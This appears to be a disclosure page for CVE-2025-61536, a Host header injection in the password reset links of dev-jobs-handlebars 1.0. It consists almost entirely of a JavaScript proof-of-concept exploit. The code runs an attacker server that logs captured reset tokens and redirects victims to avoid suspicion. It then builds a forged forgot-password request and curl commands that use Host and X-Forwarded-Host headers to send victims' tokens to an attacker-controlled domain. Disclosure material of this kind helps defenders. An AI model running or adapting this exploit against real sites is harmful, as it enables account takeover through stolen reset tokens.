CVE-2025-61536：dev-jobs-handlebars密码重置链接Host头注入漏洞

/* * CVE-2025-61536 PoC - Host Header Injection in Password Reset * Vulnerability: dev-jobs-handlebars 1.0 uses untrusted req.headers.host * to construct password reset magic links with http:// scheme * * Usage: This PoC demonstrates how an attacker can poison password reset * links by manipulating the Host header in HTTP requests. */ // Step 1: Attacker sets up a listener on attacker-controlled domain // to capture the leaked reset tokens const http = require('http'); const url = require('url'); // Attacker server to capture stolen tokens const attackerServer = http.createServer((req, res) => { const parsedUrl = url.parse(req.url, true); console.log(`[+] Captured token: ${parsedUrl.query.token}`); console.log(`[+] Full URL: ${req.url}`); // Forward victim to legitimate site to avoid suspicion res.writeHead(302, { 'Location': 'https://legitimate-site.com/login' }); res.end(); }); attackerServer.listen(80, () => { console.log('[*] Attacker server listening on port 80'); }); // Step 2: Attacker sends password reset request with manipulated Host header // The vulnerable code constructs: http://${req.headers.host}/reset?token=${token} // By changing Host header to attacker.com, the link becomes: // http://attacker.com/reset?token=SECRET_TOKEN const exploitRequest = ` POST /forgot-password HTTP/1.1 Host: attacker-controlled-domain.com Content-Type: application/json Content-Length: 35 {"email":"[email protected]"} `; console.log('[*] Exploit request to send:'); console.log(exploitRequest); console.log('\n[*] When victim receives the reset email, the link will be:'); console.log(' http://attacker-controlled-domain.com/reset?token=<STOLEN_TOKEN>'); console.log('\n[*] Attacker can now use the captured token to reset victim\'s password'); // Step 3: Using curl to exploit console.log('\n[*] Equivalent curl command:'); console.log(`curl -X POST http://target-app.com/forgot-password \\ -H "Host: attacker-controlled-domain.com" \\ -H "Content-Type: application/json" \\ -d '{"email":"[email protected]"}'`); // Step 4: Using X-Forwarded-Host to bypass proxy validation console.log('\n[*] If behind a misconfigured proxy, use X-Forwarded-Host:'); console.log(`curl -X POST http://target-app.com/forgot-password \\ -H "X-Forwarded-Host: attacker-controlled-domain.com" \\ -H "Content-Type: application/json" \\ -d '{"email":"[email protected]"}'`);